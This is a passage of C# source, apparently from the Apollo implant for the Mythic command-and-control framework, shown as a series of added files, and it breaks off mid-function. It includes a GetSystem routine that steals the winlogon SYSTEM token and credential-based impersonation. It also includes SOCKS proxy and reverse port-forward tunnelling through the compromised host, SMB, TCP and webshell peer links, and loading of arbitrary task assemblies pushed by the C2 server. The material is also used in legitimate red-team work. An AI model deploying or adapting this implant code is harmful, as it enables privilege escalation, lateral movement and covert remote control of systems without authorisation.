public (bool, IntPtr) GetSystem()
{
lock (_identitySync)
{
if (GetIntegrityLevel() is not IntegrityLevel.HighIntegrity)
return (false, IntPtr.Zero);
IntPtr hToken = IntPtr.Zero;
IntPtr hDupToken = IntPtr.Zero;
try
{
System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon");
if (processes.Length == 0)
return (false, IntPtr.Zero);
IntPtr handle = processes[0].Handle;
bool success = _OpenProcessToken(
handle,
(uint)(TokenAccessLevels.Query | TokenAccessLevels.Duplicate),
out hToken);
if (!success)
{
DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!");
return (false, IntPtr.Zero);
}
success = _DuplicateTokenEx(
hToken,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out hDupToken);
if (!success)
{
DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateTokenEx failed!");
return (false, IntPtr.Zero);
}
DebugHelp.DebugWriteLine("[+] Got SYSTEM token!");
return (true, hDupToken);
}
finally
{
if (hToken != IntPtr.Zero)
_CloseHandle(hToken);
}
}
}
public IntegrityLevel GetIntegrityLevel()
{
IntPtr hToken;
lock (_identitySync)
{
hToken = _currentImpersonationIdentity.Token;
}
int dwRet = 0;
int dwTokenInfoLength = 0;
IntPtr pTokenLabel = IntPtr.Zero;
_GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
IntPtr.Zero,
0,
out dwTokenInfoLength);
if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER)
return (IntegrityLevel)dwRet;
pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength);
try
{
bool bRet = _GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
pTokenLabel,
dwTokenInfoLength,
out dwTokenInfoLength);
if (bRet)
{
TokenMandatoryLevel tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel));
IntPtr pSidSubAuthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid);
int subAuthorityCount = Marshal.ReadByte(pSidSubAuthorityCount);
if (subAuthorityCount > 0)
{
dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, subAuthorityCount - 1));
}
if (dwRet < SECURITY_MANDATORY_LOW_RID)
dwRet = 0;
else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID)
dwRet = 1;
else if (dwRet < SECURITY_MANDATORY_HIGH_RID)
dwRet = 2;
else if (dwRet < SECURITY_MANDATORY_SYSTEM_RID)
dwRet = 3;
else
dwRet = 4;
}
}
catch (Exception ex)
{
DebugHelp.DebugWriteLine($"[!] GetIntegrityLevel() failed: {ex.Message}");
}
finally
{
Marshal.FreeHGlobal(pTokenLabel);
}
return (IntegrityLevel)dwRet;
}
public WindowsIdentity GetCurrent()
{
lock (_identitySync)
{
return _currentImpersonationIdentity;
}
}
public WindowsIdentity GetOriginal()
{
lock (_identitySync)
{
return _originalIdentity;
}
}
public bool SetIdentity(ApolloLogonInformation logonInfo)
{
lock (_identitySync)
{
RevertInternal();
bool bRet = _pLogonUserW(
logonInfo.Username,
logonInfo.Domain,
logonInfo.Password,
logonInfo.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
LogonProvider.LOGON32_PROVIDER_WINNT50,
out IntPtr hToken);
if (!bRet)
{
return false;
}
_currentPrimaryIdentity = new WindowsIdentity(hToken);
bRet = _DuplicateTokenEx(
_currentPrimaryIdentity.Token,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out IntPtr dupToken);
if (!bRet)
{
_CloseHandle(hToken);
RevertInternal();
return false;
}
_currentImpersonationIdentity = new WindowsIdentity(dupToken);
_isImpersonating = true;
_userCredential = logonInfo;
_CloseHandle(hToken);
_CloseHandle(dupToken);
return true;
}
}
public void SetPrimaryIdentity(WindowsIdentity ident)
{
lock (_identitySync)
{
_currentPrimaryIdentity = ident;
_isImpersonating = true;
}
}
public void SetPrimaryIdentity(IntPtr hToken)
{
lock (_identitySync)
{
_currentPrimaryIdentity = new WindowsIdentity(hToken);
_isImpersonating = true;
}
}
public void SetImpersonationIdentity(WindowsIdentity ident)
{
lock (_identitySync)
{
_currentImpersonationIdentity = ident;
_isImpersonating = true;
}
}
public void SetImpersonationIdentity(IntPtr hToken)
{
lock (_identitySync)
{
_currentImpersonationIdentity = new WindowsIdentity(hToken);
_isImpersonating = true;
}
}
public void Revert()
{
lock (_identitySync)
{
RevertInternal();
}
}
public WindowsIdentity GetCurrentPrimaryIdentity()
{
lock (_identitySync)
{
return _currentPrimaryIdentity;
}
}
public WindowsIdentity GetCurrentImpersonationIdentity()
{
lock (_identitySync)
{
return _currentImpersonationIdentity;
}
}
public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo)
{
lock (_identitySync)
{
if (!string.IsNullOrEmpty(_userCredential.Username) &&
!string.IsNullOrEmpty(_userCredential.Password))
{
logonInfo = _userCredential;
return true;
}
logonInfo = new ApolloLogonInformation();
return false;
}
}
}
@@ -0,0 +1,73 @@
using System;
using Apollo.Peers.SMB;
using Apollo.Peers.TCP;
using Apollo.Peers.Webshell;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using AI = ApolloInterop;
namespace Apollo.Management.Peer
{
public class PeerManager : AI.Classes.P2P.PeerManager
{
public PeerManager(IAgent agent) : base(agent)
{
}
public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo)
{
AI.Classes.P2P.Peer peer = null;
switch(connectionInfo.C2Profile.Name.ToUpper())
{
case "SMB":
peer = new SMBPeer(_agent, connectionInfo);
break;
case "TCP":
peer = new TCPPeer(_agent, connectionInfo);
break;
case "WEBSHELL":
peer = new WebshellPeer(_agent, connectionInfo);
break;
default:
throw new Exception("Not implemented.");
}
if (peer == null)
{
throw new Exception("Peer not set to an instance of an object.");
}
while (!_peers.TryAdd(peer.GetUUID(), peer))
{
System.Threading.Thread.Sleep(100);
}
peer.UUIDNegotiated += (object _, AI.Classes.UUIDEventArgs args) =>
{
while (!_peers.TryRemove(peer.GetUUID(), out IPeer _))
{
System.Threading.Thread.Sleep(100);
}
while (!_peers.TryAdd(peer.GetMythicUUID(), peer))
{
System.Threading.Thread.Sleep(100);
}
};
peer.Disconnect += (object _, EventArgs a) =>
{
while (!Remove(peer))
System.Threading.Thread.Sleep(100);
};
//peer.Start();
return peer;
}
public override bool Route(DelegateMessage msg)
{
if (_peers.ContainsKey(msg.UUID))
{
_peers[msg.UUID].ProcessMessage(msg);
return true;
}
return false;
}
}
}
@@ -0,0 +1,193 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System;
using System.Collections.Concurrent;
using System.Linq;
using System.Net.Sockets;
using System.Threading;
using TT = System.Threading.Tasks;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Structs.MythicStructs;
using System.Net;
using ApolloInterop.Utils;
using System.Text;
namespace Apollo.Management.Rpfwd
{
public class RpfwdClient
{
// Rpfwd Client will be created for each new connection to the bound port in the rpfwd task
private AsyncTcpClient _client;
private TcpClient _tcpClient;
private IPAddress _addr;
private int _port;
private CancellationTokenSource _cts = new CancellationTokenSource();
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
private Action<object> _sendRequestsAction;
private TT.Task _sendRequestsTask = null;
public int ID { get; private set; }
private IAgent _agent;
private Tasking _task;
private int _debugLevel;
private string _remoteConnectionString;
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
public RpfwdClient(IAgent agent, TcpClient client, int serverId, int port, int debugLevel, Tasking task)
{
_agent = agent;
_port = port;
ID = serverId;
_tcpClient = client;
_task = task;
_debugLevel = debugLevel;
_remoteConnectionString = $"{_tcpClient.Client.RemoteEndPoint}";
_sendRequestsAction = (object c) =>
{
TcpClient client = (TcpClient)c;
while(!_cts.IsCancellationRequested && client.Connected)
{
try
{
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
}
catch (OperationCanceledException)
{
break;
}
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
{
try
{
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
}
catch
{
break;
}
} else if (_cts.IsCancellationRequested || !client.Connected)
{
break;
}
}
client.Close();
};
}
public void Exit()
{
_cts.Cancel();
if (_sendRequestsTask != null)
_sendRequestsTask.Wait();
}
public void Start()
{
_client = new AsyncTcpClient(_tcpClient);
_client.ConnectionEstablished += OnConnect;
_client.Disconnect += OnDisconnect;
_client.MessageReceived += OnMessageReceived;
_client.Connect();
}
private void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
_sendRequestsTask.Start();
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = "",
Exit = false,
Port = _port
});
if(_debugLevel > 0)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - New Connection\nClient: {_remoteConnectionString}\n\n", false));
}
}
private void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_sendRequestsTask.Wait();
_agent.GetRpfwdManager().Remove(ID);
if(_debugLevel > 0)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Closed Connection\nClient: {_remoteConnectionString}\n\n", false));
}
}
private void OnDataSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
try
{
client.GetStream().EndWrite(result);
// Potentially delete this since theoretically the sender Task does everything
if (_requestQueue.TryDequeue(out byte[] data))
{
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
}
}
catch (System.IO.IOException)
{
}
}
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
DebugHelp.DebugWriteLine($"Got data from client: {ID}, AddRpfwdDatagramToQueue");
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(data),
Exit = false,
Port = _port
});
if(_debugLevel >= 1)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Remote Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
}
}
public bool HandleDatagram(SocksDatagram dg)
{
byte[] data;
bool bRet = false;
try
{
data = Convert.FromBase64String(dg.Data);
} catch (Exception ex)
{
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
return bRet;
}
if (_client != null && !_sendRequestsTask.IsCompleted)
{
_requestQueue.Enqueue(data);
_requestEvent.Set();
bRet = true;
}
if(_debugLevel >= 2)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Mythic Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
}
return bRet;
}
}
}
@@ -0,0 +1,63 @@
using AI = ApolloInterop;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
using System.Net.Sockets;
using System;
using ApolloInterop.Utils;
using System.Xml.Linq;
using ApolloInterop.Classes;
namespace Apollo.Management.Rpfwd
{
public class RpfwdManager : AI.Classes.RpfwdManager
{
private ConcurrentDictionary<int, RpfwdClient> _connections = new ConcurrentDictionary<int, RpfwdClient>();
public RpfwdManager(IAgent agent) : base(agent)
{
}
public override bool AddConnection(TcpClient client, int ServerID, int Port, int debugLevel, Tasking task)
{
RpfwdClient c = new RpfwdClient(_agent, client, ServerID, Port, debugLevel, task);
_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
DebugHelp.DebugWriteLine($"added new connection to RpfwdManager _connections: {ServerID}");
c.Start();
return true;
}
public override bool Route(SocksDatagram dg)
{
// we'll never get notification of a new client from the server, we will always identify new clients
DebugHelp.DebugWriteLine($"routing datagram: {dg.ServerID}");
if (!_connections.ContainsKey(dg.ServerID))
{
// this means we got a message for something that's already exited on our end
if (!dg.Exit)
{
// it is exited on our end, but Mythic isn't trying to tell us to exit, so we need to inform it to close the connection
return dg.Exit;
}
// we don't have the id, but Mythic is trying to tell us to close the id, so just drop the packet
return false;
// RpfwdClient c = new RpfwdClient(_agent, dg.ServerID);
//_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
}
var handleRet = _connections[dg.ServerID].HandleDatagram(dg);
if (dg.Exit)
{
// we do have the connection tracked and the Mythic server is telling us its closed on their end, so close here and exit
_connections[dg.ServerID].Exit();
return dg.Exit;
}
return handleRet;
}
public override bool Remove(int id)
{
_connections[id].Exit();
return _connections.TryRemove(id, out RpfwdClient _);
}
}
}
@@ -0,0 +1,293 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System;
using System.Collections.Concurrent;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using TT = System.Threading.Tasks;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Structs.MythicStructs;
using System.Net;
using ApolloInterop.Constants;
namespace Apollo.Management.Socks
{
public class SocksClient
{
private AsyncTcpClient _client;
private IPAddress _addr;
private int _port;
private CancellationTokenSource _cts = new CancellationTokenSource();
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
private Action<object> _sendRequestsAction;
private TT.Task _sendRequestsTask = null;
public int ID { get; private set; }
private IAgent _agent;
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
public SocksClient(IAgent agent, int serverId)
{
_agent = agent;
ID = serverId;
_sendRequestsAction = (object c) =>
{
TcpClient client = (TcpClient)c;
while(!_cts.IsCancellationRequested && client.Connected)
{
try
{
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
}
catch (OperationCanceledException)
{
break;
}
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
{
try
{
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
}
catch
{
break;
}
} else if (_cts.IsCancellationRequested || !client.Connected)
{
break;
}
}
client.Close();
};
}
public void Exit()
{
_cts.Cancel();
if (_sendRequestsTask != null)
_sendRequestsTask.Wait();
}
private void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
_sendRequestsTask.Start();
}
private void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_sendRequestsTask.Wait();
_agent.GetSocksManager().Remove(ID);
}
private void OnDataSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
try
{
client.GetStream().EndWrite(result);
// Potentially delete this since theoretically the sender Task does everything
if (_requestQueue.TryDequeue(out byte[] data))
{
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
}
}
catch (System.IO.IOException)
{
}
}
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(data),
Exit = false
});
}
public static Socks5AddressType GetAddrType(byte[] data)
{
return (Socks5AddressType)data[3];
}
public bool GetConnection(byte[] data)
{
Socks5AddressType addrType = GetAddrType(data);
switch(addrType)
{
case Socks5AddressType.FQDN:
int domainLen = data[4];
string domainName = Encoding.UTF8.GetString(data.Skip(5).Take(domainLen).ToArray());
_port = (int)BitConverter.ToUInt16(data.Skip(5 + domainLen).Take(2).Reverse().ToArray(), 0);
try
{
_addr = Dns.GetHostEntry(domainName).AddressList[0];
} catch (Exception ex)
{
// Console.WriteLine($"Failed to resolve DNS for {domainName}: {ex.Message}");
return false;
}
_client = new AsyncTcpClient(domainName, _port);
break;
case Socks5AddressType.IPv4:
byte[] bIpv4 = data.Skip(4).Take(4).ToArray();
_port = (int)BitConverter.ToUInt16(data.Skip(8).Reverse().ToArray(), 0);
_addr = new IPAddress(bIpv4);
_client = new AsyncTcpClient(_addr, _port);
break;
case Socks5AddressType.IPv6:
byte[] bIpv6 = data.Skip(4).Take(16).ToArray();
int port3 = (int)BitConverter.ToUInt16(data.Skip(20).Reverse().ToArray(), 0);
_addr = new IPAddress(bIpv6);
_client = new AsyncTcpClient(_addr, _port);
break;
default:
break;
}
if (_client == null)
{
return false;
}
_client.ConnectionEstablished += OnConnect;
_client.Disconnect += OnDisconnect;
_client.MessageReceived += OnMessageReceived;
return _client.Connect();
}
private bool SupportedSocksVersion(byte[] data)
{
return data[0] == SOCKS.SUPPORTED_VERSION;
}
private Socks5Command GetCommand(byte[] data)
{
return (Socks5Command)data[1];
}
public bool HandleDatagram(SocksDatagram dg)
{
byte[] data;
bool bRet = false;
try
{
data = Convert.FromBase64String(dg.Data);
} catch (Exception ex)
{
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
return bRet;
}
if (_client != null && !_sendRequestsTask.IsCompleted)
{
_requestQueue.Enqueue(data);
_requestEvent.Set();
bRet = true;
} else
{
if (data.Length > 3 && SupportedSocksVersion(data))
{
switch (GetCommand(data))
{
case Socks5Command.Connect:
if (GetConnection(data))
{
byte[] success = new byte[22];
int succesLen = success.Length;
success[0] = SOCKS.SUPPORTED_VERSION;
if (_addr.AddressFamily == AddressFamily.InterNetwork)
{
succesLen -= 12;
success[3] = 0x01;
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 4);
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 8, 2);
} else
{
success[3] = 0x04;
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 16);
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 20, 2);
}
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(success.Take(succesLen).ToArray()),
Exit = false
});
bRet = true;
}
else
{
byte[] failedMessage = new byte[10]
{
SOCKS.SUPPORTED_VERSION,
0x01,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
};
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(failedMessage),
Exit = true
});
}
break;
case Socks5Command.Bind:
break;
case Socks5Command.Associate:
break;
default:
byte[] unsupportedCmd = new byte[10]
{
SOCKS.SUPPORTED_VERSION,
0x07,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
};
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(unsupportedCmd),
Exit = true
});
break;
}
}
}
return bRet;
}
}
}
@@ -0,0 +1,41 @@
using AI = ApolloInterop;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
namespace Apollo.Management.Socks
{
public class SocksManager : AI.Classes.SocksManager
{
private ConcurrentDictionary<int, SocksClient> _connections = new ConcurrentDictionary<int, SocksClient>();
public SocksManager(IAgent agent) : base(agent)
{
}
public override bool Route(SocksDatagram dg)
{
if (!_connections.ContainsKey(dg.ServerID))
{
if (!dg.Exit)
{
SocksClient c = new SocksClient(_agent, dg.ServerID);
_connections.AddOrUpdate(c.ID, c, (int i, SocksClient d) => { return d; });
} else { return dg.Exit; }
}
if (dg.Exit)
{
_connections[dg.ServerID].Exit();
return dg.Exit;
}
return _connections[dg.ServerID].HandleDatagram(dg);
}
public override bool Remove(int id)
{
_connections[id].Exit();
return _connections.TryRemove(id, out SocksClient _);
}
}
}
@@ -0,0 +1,322 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections.Concurrent;
using ApolloInterop.Interfaces;
using ApolloInterop.Types.Delegates;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Classes;
using System.Threading;
using System.Threading.Tasks;
using System.Reflection;
using ApolloInterop.Classes.Collections;
using ApolloInterop.Utils;
namespace Apollo.Management.Tasks
{
public class TaskManager : ITaskManager
{
protected IAgent _agent;
private ThreadSafeList<MythicTaskResponse> TaskResponseList = new();
private ThreadSafeList<DelegateMessage> DelegateMessages = new();
//private ConcurrentQueue<DelegateMessage> DelegateMessages = new ConcurrentQueue<DelegateMessage>();
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> SocksDatagramQueue = new()
{
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
};
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> RpfwdDatagramQueue = new()
{
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
};
private ConcurrentDictionary<string, Tasking> _runningTasks = new();
private ConcurrentDictionary<string, Type> _loadedTaskTypes = new();
private ConcurrentQueue<MythicTask> TaskQueue = new();
private ConcurrentQueue<MythicTaskStatus> TaskStatusQueue = new();
private Action _taskConsumerAction;
private Task _mainworker;
private Assembly _tasksAsm = null;
public TaskManager(IAgent agent)
{
_agent = agent;
InitializeTaskLibrary();
_taskConsumerAction = () =>
{
while(_agent.IsAlive())
{
if (TaskQueue.TryDequeue(out MythicTask result))
{
if (!_loadedTaskTypes.ContainsKey(result.Command))
{
AddTaskResponseToQueue(new MythicTaskResponse()
{
UserOutput = $"Task '{result.Command}' not loaded.",
TaskID = result.ID,
Completed = true,
Status = "error"
});
}
else
{
try
{
Tasking t = (Tasking) Activator.CreateInstance(
_loadedTaskTypes[result.Command],
new object[] {_agent, result});
var taskObj = t.CreateTasking();
// When the task finishes, we remove it from the queue.
taskObj.ContinueWith((_) => { _runningTasks.TryRemove(t.ID(), out Tasking _); });
// Unhandled exception occurred in task, report it.
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
System.Threading.Tasks.TaskContinuationOptions.OnlyOnFaulted);
// If it got cancelled and threw an exception of that type,
// report it.
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
System.Threading.Tasks.TaskContinuationOptions.OnlyOnCanceled);
_runningTasks.TryAdd(t.ID(), t);
taskObj.Start();
}
catch (Exception ex)
{
AddTaskResponseToQueue(new MythicTaskResponse()
{
UserOutput = $"Unexpected error during create and execute: {ex.Message}\n{ex.StackTrace}",
TaskID = result.ID,
Completed = true,
Status = "error"
});
}
}
}
else
{
Thread.Sleep(100);
}
}
};
_mainworker = new Task(_taskConsumerAction);
_mainworker.Start();
}
private void InitializeTaskLibrary()
{
// Annoying note - if there's an assembly in the Tasks DLL that isn't in the Apollo
// reference assemblies, then you'll run into loading errors.
_tasksAsm = Assembly.Load("Tasks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null");
if (_tasksAsm == null)
{
throw new Exception("Could not find loaded tasks assembly.");
}
foreach(Type t in _tasksAsm.GetTypes())
{
if (t.FullName.StartsWith("Tasks.") &&
t.IsPublic &&
t.IsClass &&
t.IsVisible)
{
string commandName = t.FullName.Split('.')[1];
_loadedTaskTypes[commandName] = t;
}
}
}
public bool LoadTaskModule(byte[] taskAsm, string[] commands)
{
bool bRet = false;
Assembly taskingAsm = Assembly.Load(taskAsm);
Dictionary<string, Type> foundCmds = new Dictionary<string, Type>();
foreach(Type t in taskingAsm.GetExportedTypes())
{
if (commands.Contains(t.Name))
{
foundCmds[t.Name] = t;
}
}
if (foundCmds.Keys.Count != commands.Length)
{
bRet = false;
}
else
{
foreach(string k in foundCmds.Keys)
{
_loadedTaskTypes[k] = foundCmds[k];
}
bRet = true;
}
return bRet;
}
private void OnTaskErrorOrCancel(Tasking t, System.Threading.Tasks.Task taskObj)
{
string aggregateError = "";
if (taskObj.Exception != null)
{
foreach (Exception e in taskObj.Exception.InnerExceptions)
{
aggregateError += $"Unhandled exception: {e}\n\n";
}
} else if (taskObj.IsCanceled)
{
aggregateError = "Task cancelled.";
}
else
{
aggregateError = "Unhandled and unknown error occured.";
}
var msg = t.CreateTaskResponse(aggregateError, true, "error");
AddTaskResponseToQueue(msg);
}
public void AddTaskResponseToQueue(MythicTaskResponse message)
{
TaskResponseList.Add(message);
}
public void AddDelegateMessageToQueue(DelegateMessage delegateMessage)
{
DelegateMessages.Add(delegateMessage);
}
public void AddSocksDatagramToQueue(MessageDirection direction, SocksDatagram dg)
{
SocksDatagramQueue[direction].Enqueue(dg);
}
public void AddRpfwdDatagramToQueue(MessageDirection direction, SocksDatagram dg)
{
RpfwdDatagramQueue[direction].Enqueue(dg);
}
public bool ProcessMessageResponse(MessageResponse resp)
{
if (resp.SocksDatagrams != null)
{
new Thread(() =>
{
foreach(SocksDatagram dg in resp.SocksDatagrams)
{
_agent.GetSocksManager().Route(dg);
}
}).Start();
}
if (resp.RpfwdDatagrams != null)
{
new Thread(() =>
{
foreach (SocksDatagram dg in resp.RpfwdDatagrams)
{
_agent.GetRpfwdManager().Route(dg);
}
}).Start();
}
if (resp.Tasks != null && resp.Tasks.Length > 0)
{
new Thread(() =>
{
foreach(MythicTask t in resp.Tasks)
{
TaskQueue.Enqueue(t);
}
}).Start();
}
if (resp.Responses != null && resp.Responses.Length > 0)
{
foreach(MythicTaskStatus t in resp.Responses)
{
if (_agent.GetFileManager().GetPendingTransfers().Contains(t.ApolloTrackerUUID))
{
_agent.GetFileManager().ProcessResponse(t);
}
}
}
if (resp.Delegates != null && resp.Delegates.Length > 0)
{
foreach(DelegateMessage d in resp.Delegates)
{
_agent.GetPeerManager().Route(d);
}
}
return true;
}
public bool CreateTaskingMessage(OnResponse<TaskingMessage> onResponse)
{
// We should pop messages from the task manager and stuff them into
// this message here.
//List<TaskResponse> responses = new List<TaskResponse>();
//List<DelegateMessage> delegates = new List<DelegateMessage>();
List<SocksDatagram> dgs = new List<SocksDatagram>();
List<SocksDatagram> rpfwdDgs = new List<SocksDatagram>();
List<EdgeNode> edgs = new List<EdgeNode>();
//while(TaskResponseQueue.TryDequeue(out TaskResponse res))
//{
// responses.Add(res);
//}
//while(DelegateMessages.TryDequeue(out var res))
//{
// delegates.Add(res);
//}
while(SocksDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
{
dgs.Add(dg);
}
while (RpfwdDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
{
DebugHelp.DebugWriteLine($"got rpfwd datagram to go to mythic: {dg.ServerID}");
rpfwdDgs.Add(dg);
}
TaskingMessage msg = new TaskingMessage()
{
Action = MessageAction.GetTasking.ToString(),
TaskingSize = -1,
Delegates = DelegateMessages.Flush(),
Responses = TaskResponseList.Flush(),
Socks = dgs.ToArray(),
Rpfwd = rpfwdDgs.ToArray(),
Edges = edgs.ToArray()
};
return onResponse(msg);
}
public string[] GetExecutingTaskIds()
{
return _runningTasks.Keys.ToArray();
}
public bool CancelTask(string taskId)
{
if (_runningTasks.TryGetValue(taskId, out Tasking t))
{
try
{
t.Kill();
return true;
} catch
{
return false;
}
} else
{
return false;
}
}
}
}
@@ -0,0 +1,253 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using ApolloInterop.Constants;
namespace Apollo.Peers.SMB
{
public class SMBPeer : AI.Classes.P2P.Peer
{
private AsyncNamedPipeClient _pipeClient = null;
private PipeStream _pipe = null;
private Action<object> _sendAction;
private TTasks.Task _sendTask;
private UInt32 _currentMessageSize = 0;
private UInt32 _currentMessageChunkNum = 0;
private UInt32 _currentMessageTotalChunks = 0;
private bool _currentMessageReadAllMetadata = false;
private string _currentMessageID = Guid.NewGuid().ToString();
private Byte[] _partialData = [];
private int chunkSize = IPC.SEND_SIZE;
public SMBPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "smb";
_pipeClient = new AsyncNamedPipeClient(info.Hostname, info.C2Profile.Parameters.PipeName);
_pipeClient.ConnectionEstablished += OnConnect;
_pipeClient.MessageReceived += OnMessageReceived;
_pipeClient.Disconnect += OnDisconnect;
_sendAction = (object p) =>
{
PipeStream ps = (PipeStream)p;
while (ps.IsConnected && !_cts.IsCancellationRequested)
{
// Check queue before waiting to avoid race condition
if (_senderQueue.IsEmpty)
{
_senderEvent.WaitOne();
}
while (!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && ps.IsConnected)
{
if (!_cts.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result))
{
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
